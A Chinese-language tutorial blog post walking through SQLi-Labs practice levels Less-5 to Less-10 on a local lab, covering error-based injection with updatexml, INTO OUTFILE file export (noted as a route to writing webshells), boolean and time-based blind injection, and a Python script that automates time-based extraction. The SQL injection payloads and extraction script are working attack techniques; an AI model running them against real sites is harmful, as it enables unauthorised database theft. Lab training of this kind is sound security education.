摘要在上一篇文章中我们成功搭建了SQLi-Labs靶场环境并通关了前四关。前四关属于“显注”范畴——注入结果会直接显示在页面上。但从Less-5开始情况发生了变化页面不再直接显示查询结果了。当页面“沉默”了我们该如何让数据库开口说话本文作为系列攻略的第二篇将系统讲解报错注入、文件导出注入、布尔盲注和时间盲注四种核心技术并手把手带你通关Less-5到Less-10。无论你是零基础小白还是想系统掌握盲注技术的开发者本文都能帮你建立起完整的知识体系。一、从“显注”到“盲注”为什么要换思路1.1 回顾前四关在前四关中我们用的是联合查询注入Union-based Injection。核心思路是先让前面的查询失效id-1然后用union select把我们的查询结果“塞”到页面显示位上。这套方法的前提是页面有显示位——也就是查询结果会呈现在页面上。1.2 当页面不再显示数据但Less-5开始情况变了。让我们先做个对比实验Less-1有关键更新?id1页面会显示Your Login name: Dumb和Your Password: DumbLess-5无回显?id1页面只显示一句You are in...........看到了吗Less-5不再显示用户名和密码了只有一个“You are in...........”的提示。不管查询到的是什么数据页面都只告诉你“查询成功了”——但不告诉你查到了什么。1.3 盲注的三种武器当页面不显示数据时我们就需要换一套打法。根据页面行为的不同主要有三种方案方案适用场景核心原理报错注入页面会显示SQL报错信息故意触发数据库错误让错误信息“夹带私货”布尔盲注页面在真/假条件下有不同反应构造是非判断根据页面差异逐位猜解数据时间盲注页面在真/假条件下反应完全相同利用延时函数通过响应时间差异来判断真假二、Less-5报错注入单引号闭合2.1 关卡信息关卡名称Less-5 - GET - Double Injection - Single Quotes - String漏洞类型GET型单引号字符型注入与Less-1的区别页面无数据回显但有错误回显2.2 第一步判断闭合方式首先和之前一样测试闭合方式http://localhost/sqli-labs/Less-5/?id1页面报错错误信息提示是单引号闭合。确认闭合方式为单引号。2.3 第二步判断字段数用order by判断字段数?id1 order by 3 -- ?id1 order by 4 --当order by 4时报错说明字段数为3。2.4 第三步尝试联合查询——发现行不通找显示位?id-1 union select 1,2,3 --但这次页面没有任何变化——没有显示位。联合查询这条路走不通了。我们需要换一种方法报错注入。2.5 什么是报错注入报错注入的核心思路是故意构造一个会触发SQL错误的语句让数据库返回错误信息而错误信息中恰好包含我们想要的数据。打个比方你去银行柜台问“我的余额是多少”柜员不告诉你。但如果你故意填错一张表格柜员会指着表格说“你这填错了应该是XXX”——而这个XXX恰好就是你的余额。2.6 报错注入的两大神器extractvalue() 和 updatexml()在MySQL中有两个函数常被用于报错注入1extractvalue()正常语法extractvalue(XML_document, XPath_expression)当我们给第二个参数传入一个非法的XPath路径时MySQL会报错并把路径内容显示在错误信息中。2updatexml()正常语法updatexml(XML_document, XPath_expression, new_value)和extractvalue同理当第二个参数是非法的XPath时会触发报错。2.7 第四步用报错注入获取数据库名使用updatexml()获取当前数据库名?id1 and updatexml(1,concat(0x7e,database()),1) --或者?id1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) --页面报错信息中会出现类似XPATH syntax error: ~security的内容security就是当前数据库名。小知识0x7e是字符~的十六进制编码。加这个前缀是为了让XPath路径变成非法格式从而触发报错。2.8 第五步获取所有表名?id1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemasecurity)),1) --会显示emails,referers,usagents,users等表名。2.9 第六步获取users表的字段名?id1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers)),1) --会显示id,username,password等字段。2.10 第七步获取账号密码因为group_concat可能会因为数据太长而截断建议使用limit逐条获取?id1 and updatexml(1,concat(0x7e,(select concat(username,:,password) from users limit 0,1)),1) --依次修改limit后面的数字0,1→1,1→2,1...就能获取所有用户的账号密码。三、Less-6报错注入双引号闭合3.1 关卡信息漏洞类型GET型双引号字符型注入与Less-5的区别闭合方式从单引号变成了双引号3.2 通关步骤Less-6和Less-5唯一的区别就是闭合方式不同。第一步判断闭合方式?id1报错信息提示是双引号闭合。第二步构造闭合payload?id1 --第三步后续步骤和Less-5完全一样只需要把单引号换成双引号查数据库名?id1 and updatexml(1,concat(0x7e,database()),1) --查表名?id1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemasecurity)),1) --查数据?id1 and updatexml(1,concat(0x7e,(select concat(username,:,password) from users limit 0,1)),1) --四、Less-7文件导出注入4.1 关卡信息关卡名称Less-7 - GET - Dump into Outfile - String漏洞类型GET型字符型注入闭合方式为单引号双括号))核心考点利用INTO OUTFILE将查询结果导出到文件4.2 第一步判断闭合方式测试各种闭合方式?id1 # 报错 ?id1) # 报错 ?id1)) -- # 正常确认闭合方式为))。4.3 第二步理解INTO OUTFILEINTO OUTFILE是MySQL的一个功能可以将查询结果导出到服务器上的一个文件中。在SQL注入中这个功能常被用来写入一句话木马Webshell从而获得服务器的控制权。但使用这个功能需要满足几个条件MySQL用户有文件写入权限知道网站的绝对路径MySQL的secure_file_priv配置允许文件导出4.4 第三步检查secure_file_priv配置secure_file_priv是MySQL的一个安全配置参数控制文件导出行为值含义NULL完全禁止文件导出指定目录路径只能导出到该目录空字符串允许导出到任何目录在Less-1中可以用联合查询查看配置http://localhost/sqli-labs/Less-1/?id-1 union select 1,secure_file_priv,3 --如果需要修改配置以phpStudy为例打开E:\phpstudy_pro\Extensions\MySQL5.7.26\my.ini在[mysqld]部分添加secure_file_priv 重启MySQL服务4.5 第五步导出数据到文件导出数据库名?id-1)) union select 1,database(),3 into outfile E:/phpstudy_pro/WWW/sqli-labs/Less-7/database.txt --导出所有表名?id1)) union select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity into outfile E:/phpstudy_pro/WWW/sqli-labs/Less-7/1.txt --导出users表的所有字段?id-1)) union select 1,2,group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers into outfile E:/phpstudy_pro/WWW/sqli-labs/Less-7/users_columns.txt --导出users表的所有数据?id1)) union select 1,2,group_concat(concat(username,:,password)) from users into outfile E:/phpstudy_pro/WWW/sqli-labs/Less-7/users.txt --路径注意事项路径要用/或\\不能用单个\。五、Less-8布尔盲注单引号闭合5.1 关卡信息关卡名称Less-8 - GET - Blind - Boolean based - Single Quotes漏洞类型GET型单引号字符型注入布尔盲注核心特点正确时显示You are in...........错误时什么都不显示5.2 什么是布尔盲注布尔盲注适用于这种情况页面在SQL语句为真和为假时表现出两种不同的状态。Less-8中条件为真 → 页面显示You are in...........条件为假 → 页面一片空白我们可以利用这个差异逐位“猜”出数据。打个比方你问一个只会点头和摇头的人“数据库名的第一个字母是不是a”他点头页面正常就是a摇头页面空白就不是a。就这样一个字母一个字母地试最终拼出完整的数据库名。5.3 第一步判断闭合方式?id1 and 11 -- # 页面正常有You are in... ?id1 and 12 -- # 页面空白说明是单引号闭合的字符型注入。5.4 第二步判断数据库名长度使用length(database())获取数据库名长度?id1 and length(database())8 --如果页面正常显示说明数据库名长度为8如果页面空白说明长度不是8继续试其他数字。5.5 第三步逐位猜解数据库名使用substr()和ascii()逐位猜解猜第1个字符?id1 and ascii(substr(database(),1,1))115 --115是字符s的ASCII码。如果页面正常说明第1个字符是s。如果不确定ASCII码是多少可以用范围判断?id1 and ascii(substr(database(),1,1))100 -- # 如果正常说明ASCII 100 ?id1 and ascii(substr(database(),1,1))120 -- # 如果正常说明ASCII 120通过二分法不断缩小范围最终确定准确的ASCII值。5.6 第四步猜解表名、字段名、数据掌握了方法之后剩下的就是重复劳动猜表名以第一个表为例?id1 and ascii(substr((select table_name from information_schema.tables where table_schemasecurity limit 0,1),1,1))101 --猜字段名以users表的第一个字段为例?id1 and ascii(substr((select column_name from information_schema.columns where table_schemasecurity and table_nameusers limit 0,1),1,1))105 --猜数据以第一个用户的用户名为例?id1 and ascii(substr((select username from users limit 0,1),1,1))68 --5.7 布尔盲注的效率问题布尔盲注最大的问题是慢。每个字符都要发送几十次请求整个数据库猜下来可能需要成百上千次请求。在实际渗透中通常会使用自动化脚本或工具如sqlmap来完成布尔盲注。但作为学习者手工做一遍能让你深刻理解其原理。六、Less-9时间盲注单引号闭合6.1 关卡信息关卡名称Less-9 - GET - Blind - Time based - Single Quotes漏洞类型GET型单引号字符型注入时间盲注核心特点无论输入正确还是错误页面都显示You are in...........6.2 什么是时间盲注Less-9比Less-8更“沉默”正确和错误时页面的反应完全一样。布尔盲注靠的是“页面有内容”和“页面没内容”的差异来判断。当这个差异消失时我们就需要引入一个新的判断依据时间。时间盲注的核心是如果条件为真就让页面延迟几秒如果为假就不延迟。通过观察响应时间就能判断条件的真假。6.3 核心函数IF() SLEEP()IF(condition, true_value, false_value)如果condition为真返回true_value否则返回false_value。SLEEP(seconds)让数据库暂停执行指定的秒数。组合使用IF(condition, SLEEP(5), 1)条件为真 → 延迟5秒条件为假 → 不延迟执行16.4 第一步判断闭合方式?id1 and if(1, sleep(5), 1) --如果页面延迟了5秒才加载完成说明单引号闭合有效。6.5 第二步判断数据库名长度?id1 and if((length(database())8), sleep(5), 1) --如果页面延迟5秒说明数据库名长度为8。6.6 第三步逐位猜解数据库名?id1 and if((ascii(substr(database(),1,1))115), sleep(5), 1) --如果延迟5秒说明第1个字符是sASCII115。6.7 第四步猜解表名、字段名、数据方法和布尔盲注完全一样只是把判断条件放到IF()里?id1 and if((ascii(substr((select table_name from information_schema.tables where table_schemasecurity limit 0,1),1,1))101), sleep(5), 1) --6.8 时间盲注的自动化时间盲注比布尔盲注更慢每次请求都要等几秒手工操作几乎不可能完成完整的脱库。实际中必须使用自动化脚本。以下是一个简单的Python脚本框架import requests import time # 目标地址 url http://localhost/sqli-labs/Less-9/ sleep_time 5 # 延时时间统一常量方便修改 # 1. 盲注猜解数据库名长度 def get_db_name_length(): print( 正在猜解数据库名长度 ) for length in range(1, 20): payload f?id1 and if((length(database()){length}), sleep({sleep_time}), 1) -- start_time time.time() requests.get(url payload) cost_time time.time() - start_time if cost_time sleep_time: print(f成功匹配数据库名长度{length}) return length return 0 # 2. 根据长度逐位猜解数据库名每一位字符 def get_db_name(db_len): print(\n 正在逐位猜解数据库名称 ) db_name # 遍历每一位 for pos in range(1, db_len 1): # 遍历可见ASCII字符 for ascii_code in range(32, 127): payload ( f?id1 and if((ascii(substr(database(),{pos},1)){ascii_code}), fsleep({sleep_time}), 1) -- ) start_time time.time() requests.get(url payload) cost_time time.time() - start_time if cost_time sleep_time: char chr(ascii_code) db_name char print(f第{pos}位字符{char}) break return db_name if __name__ __main__: db_length get_db_name_length() if db_length: db_result get_db_name(db_length) print(f\n[最终结果] 当前数据库名{db_result}) else: print(未猜解出数据库长度请检查注入语句或网络)七、Less-10时间盲注双引号闭合7.1 关卡信息关卡名称Less-10 - GET - Blind - Time based - double quotes漏洞类型GET型双引号字符型注入时间盲注与Less-9的区别闭合方式从单引号变成了双引号7.2 通关步骤Less-10和Less-9唯一的区别就是闭合方式不同。第一步判断闭合方式?id1 and if(1, sleep(5), 1) --如果延迟5秒说明是双引号闭合。第二步后续步骤和Less-9完全一样只需要把单引号换成双引号判断数据库名长度?id1 and if((length(database())8), sleep(5), 1) --逐位猜解?id1 and if((ascii(substr(database(),1,1))115), sleep(5), 1) --八、总结关卡注入类型闭合方式核心方法判断依据Less-5报错注入单引号updatexml()/extractvalue()错误信息Less-6报错注入双引号updatexml()/extractvalue()错误信息Less-7文件导出单引号双括号))INTO OUTFILE导出的文件Less-8布尔盲注单引号length() ascii() substr()页面有无内容Less-9时间盲注单引号IF() SLEEP()响应时间Less-10时间盲注双引号IF() SLEEP()响应时间理解了“盲注”的概念当页面不显示数据时我们需要通过报错信息、页面状态差异或时间延迟来“间接”获取数据掌握了报错注入Less-5 6利用updatexml()和extractvalue()函数让错误信息“夹带私货”学会了文件导出注入Less-7利用INTO OUTFILE将查询结果导出到文件掌握了布尔盲注Less-8利用页面“有内容”和“没内容”的差异逐位猜解数据掌握了时间盲注Less-9 10利用IF()SLEEP()组合通过响应时间差异来判断条件真假从Less-5到Less-10我们完成了从“显注”到“盲注”的跨越。盲注虽然比显注更麻烦、更耗时但它能应对更“沉默”的页面是实际渗透中非常重要的技能。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。